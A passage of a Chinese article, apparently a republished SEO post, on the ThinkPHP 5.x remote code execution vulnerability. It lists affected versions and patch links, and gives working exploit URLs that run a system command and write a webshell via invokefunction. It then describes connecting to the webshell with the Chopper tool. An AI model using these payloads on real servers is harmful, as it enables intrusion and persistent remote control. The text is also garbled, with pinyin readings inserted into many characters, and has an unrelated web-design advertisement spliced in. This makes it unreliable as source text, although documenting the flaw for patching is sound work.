本篇文章為大家展示了ThinkPHP遠(yuǎn)程代碼執(zhí)行漏洞是什么樣的,內(nèi)容簡(jiǎn)明扼要并且容易理解,絕對(duì)能使你眼前一亮,通過(guò)這篇文章的詳細(xì)介紹希望你能有所收獲。
專注于為中小企業(yè)提供成都網(wǎng)站制作、做網(wǎng)站服務(wù),電腦端+手機(jī)端+微信端的三站合一,更高效的管理,為中小企業(yè)金寨免費(fèi)做網(wǎng)站提供優(yōu)質(zhì)的服務(wù)。我們立足成都,凝聚了一批互聯(lián)網(wǎng)行業(yè)人才,有力地推動(dòng)了千余家企業(yè)的穩(wěn)健成長(zhǎng),幫助中小企業(yè)通過(guò)網(wǎng)站建設(shè)實(shí)現(xiàn)規(guī)模擴(kuò)充和轉(zhuǎn)變。
ThinkPHP是一個(gè)快速、簡(jiǎn)單的基于MVC和面向?qū)ο蟮妮p量級(jí)PHP開(kāi)發(fā)框架。
Thinkphp5.x版本中存在一個(gè)嚴(yán)重的遠(yuǎn)程代碼執(zhí)行漏洞。這個(gè)漏洞的主要原因是由于框架對(duì)控制器名沒(méi)有進(jìn)行足夠的校驗(yàn)導(dǎo)致在沒(méi)有開(kāi)啟強(qiáng)制路由的情況下可以構(gòu)造惡意語(yǔ)句執(zhí)行遠(yuǎn)程命令
影響范圍
Thinkphp 5.1.0 - 5.1.31
Thinkphp 5.0.5 - 5.0.23
漏洞利用
環(huán)境介紹:
thinkphp5.0.22+php5.4.45+ apache2.4.23
1.首先搭建好相應(yīng)的環(huán)境,頁(yè)面訪問(wèn)如下:
2.當(dāng)看到框架為thinkphp5.x時(shí),我們需要的就是驗(yàn)證是否存在遠(yuǎn)程代碼執(zhí)行漏洞
http:// localhost/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
3.確認(rèn)此處存在遠(yuǎn)程代碼執(zhí)行后,寫入shell
http:// localhost/public/index.php?s =index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=
4.嘗試用菜刀進(jìn)行連接,連接成功
當(dāng)然這里我們也可以選擇直接上傳大馬
相比手工,我們也可以選擇工具直接getshell都是可以的
修復(fù)建議
1、打補(bǔ)?。?br/>Thinkphp v5.0.x補(bǔ)丁地址:
https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f
Thinkphp v5.1.x補(bǔ)丁地址:
https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815
2、更新框架版本
參考鏈接
exploit地址:
https://www.exploit-db.com/exploits/45978
框架下載地址:
http://www.thinkphp.cn/donate/download/id/1125.html
docker漏洞環(huán)境源碼:
https://github.com/vulnspy/thinkphp-5.1.29
https://www.gendan5.com
上述內(nèi)容就是ThinkPHP遠(yuǎn)程代碼執(zhí)行漏洞是什么樣的,你們學(xué)到知識(shí)或技能了嗎?如果還想學(xué)到更多技能或者豐富自己的知識(shí)儲(chǔ)備,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。